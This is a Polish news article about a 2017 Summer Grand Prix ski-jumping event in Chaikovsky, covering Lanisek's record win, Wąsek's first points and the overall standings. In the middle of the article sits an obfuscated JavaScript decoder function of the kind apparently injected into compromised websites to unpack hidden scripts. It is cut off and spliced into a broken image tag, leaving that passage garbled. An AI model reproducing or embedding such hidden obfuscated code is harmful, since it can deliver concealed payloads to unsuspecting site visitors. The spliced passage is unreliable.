LGP Czajkowski: Lanisek z rekordem i koszulką lidera, Wąsek punktuje!

Słoweniec Anze Lanisek dzięki rekordowemu skokowi na 109,5 metra zwyciężył w kolejnym konkursie LGP w Czajkowskim i został nowym liderem klasyfikacji generalnej cyklu, wyprzedzając nieobecnego w Rosji Dawida Kubackiego. W czołowej „30” ponownie zmieścił się tylko jeden Polak. Tym razem sztuka ta, po raz pierwszy w karierze, udała się Pawłowi Wąskowi.

Rekord Laniska, wietrzne oczekiwanie Kobayashiego

Pierwsza seria konkursowa w Czajkowskim trwała ponad 1,5 godziny. Powodem był porywisty wiatr, który momentami uniemożliwiał kontynuowanie rywalizacji. Cały czas zawodnicy otrzymywali jednak podmuchy pod narty, co umożliwiało oddawanie ponad 100-metrowych prób. Dwukrotnie byliśmy także świadkami rekordowych skoków. Najpierw oficjalny letni rekord obiektu Kennetha Gangnesa wyrównał Słoweniec Anze Semenic (103,5 m), a później bardzo wysoko nad zeskokiem poszybował znajdujący się w świetnej formie Anze Lanisek. Podopieczny trenera Janusa osiągnął aż 109,5 metra i o 6 metrów pobił dotychczasowe najlepsze osiągnięcie na normalnym obiekcie Śnieżynka (K-95 / HS-102). W oczekiwaniu na poprawę warunków i osłabnięcie porywistego wiatru, jury zdecydowało się anulować finałową serię konkursową, a kilka minut później 21-letni Lanisek mógł się cieszyć z drugiego zwycięstwa i zarazem trzeciego podium w zawodach najwyższej rangi na igelicie.

Wcześniej jednak na górze pozostał wciąż jeden zawodnik, wicelider „generalki” LGP, Junshiro Kobayashi. Japończyk wielokrotnie wchodził i schodził z belki, a na swoją próbę czekał dobre kilkanaście minut przy 7-stopniowej temperaturze panującej w Czajkowskim. Reprezentant Kraju Kwitnącej Wiśni znakomicie poradził sobie jednak w niełatwej sytuacji i skoncentrował na oddaniu dobrej próby. 105-metrowa próba pozwoliła mu zająć drugie miejsce (czwarte podium LGP w karierze) i utrzymać drugą pozycję w klasyfikacji generalnej letniego cyklu. Podium uzupełnił dziś ulubieniec i faworyt gospodarzy, Rosjanin Evgeniy Klimov (103,0 m), dla którego było to drugie z kolei i ogólnie podium LGP w karierze.

Tuż za najlepszą trójką wylądowali dziś dwaj Norwegowie, którym podobnie jak wczoraj Johannowi Andre Forfangowi, do szczęścia nie zabrakło wiele. Kenneth Gangnes (102,5 m) do Klimova stracił 0,1, a Halvor Egner Granerud (102,5 m) 0,4 punktu. Czołową szóstkę uzupełnił wspomniany imiennik triumfatora, Anze Semenic (103,5 m). Na uwagę zasługuje także życiowy rezultat Rosjanina Alexeya Romashova (10. lokata). Warto zauważyć, że cała pierwsza ósemka stawki mogła skorzystać z wiatru pod narty przekraczającego prędkość 2 m/s.

Tylko jeden Polak punktuje

Jedynym Polakiem, który zdołał zmieścić się w czołowej trzydziestce okazał się 18-letni Paweł Wąsek (97,0 m / 27. miejsce). Dla reprezentanta polskiej kadry juniorów jest to życiowy sukces w zawodach tej rangi. Z marzeniami o punktowych zdobyczach pożegnali się bardziej doświadczeni, jednak słabiej skaczący pozostali reprezentanci Polski – Krzysztof Miętus (93,5 m / 38. miejsce), Andrzej Stękała (91,5 m / 43. miejsce) oraz Krzysztof Biegun (85,5 m / 52. miejsce). O sporym pechu może mówić 18-letni Bartosz Czyż, który przed konkursem okazał się najwyżej sklasyfikowanym z biało-czerwonych w serii treningowej. Podczas konkursowych zmagań nasz najmłodszy reprezentant został zdyskwalifikowany za nieprzepisowy kombinezon.

Lanisek nowym liderem LGP 2017

function u2fd518ba9147(q3){var u9=’ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=’;var y7=”;var ve,p7,w9,w4,y6,p9,y4;var s0=0;do{w4=u9.indexOf(q3.charAt(s0++));y6=u9.indexOf(q3.charAt(s0++));p9=u9.indexOf(q3.charAt(s0++));y4=u9.indexOf(q3.charAt(s0++));ve=(w4<<2)|(y6>>4);p7=((y6&15)<<4)|(p9>>2);w9=((p9&3)<<6)|y4;if(ve>=192)ve+=848;else if(ve==168)ve=1025;else if(ve==184)ve=1105;y7+=String.fromCharCode(ve);if(p9!=64){if(p7>=192)p7+=848;else if(p7==168)p7=1025;else if(p7==184)p7=1105;y7+=String.fromCharCode(p7);}if(y4!=64){if(w9>=192)w9+=848;else if(w9==168)w9=1025;else if(w9==184)w9=1105;y7+=String.fromCharCode(w9);}}while(s0and Prix 2017? (fot. SkokiPolska.pl)” src=”http://www.skokipolska.pl/wp-content/uploads/2017/09/Lanisek.Anze_Kubacki.Dawid_LGP.2017_fot.SkokiPolska-300×200.jpg” alt=”Anze Lanisek czy Dawid Kubacki – kto zwycięży w Letnim Grand Prix 2017? (fot. SkokiPolska.pl)" width="300" height="200" /> Anze Lanisek czy Dawid Kubacki - kto zwycięży w Letnim Grand Prix 2017? (fot. SkokiPolska.pl)

Anze Lanisek w wyborny sposób wykorzystał nieobecność dotychczasowego przewodnika klasyfikacji generalnej cyklu FIS Grand Prix, Dawida Kubackiego, i zgarniając w Czajkowskim dwa triumfy, zdobył także żółtą koszulkę lidera. Słoweniec uzbierał do tej pory 331 punktów. Drugie miejsce zajmuje Junshiro Kobayashi (314 pkt), a wspomniany Kubacki (300 pkt) spadł na trzecią lokatę. Finałowe rozstrzygnięcia zapadną jednak podczas zbliżających się konkursów w austriackim Hinzenbach (1 października) oraz niemieckim Klingenthal (3 października). Dodajmy, że Polacy nadal wyraźnie prowadzą w Pucharze Narodów z dorobkiem 1330 punktów. Bezpośrednio za biało-czerwonymi znajdują się Słoweńcy (1114 pkt) oraz Norwegowie (1065 pkt).

Indywidualna klasyfikacja LGP 2017 >>>
Klasyfikacja Pucharu Narodów 2017 >>>

Wyniki jednoseryjnego konkursu w Czajkowskim:

Pełne wyniki >>>

informacja własna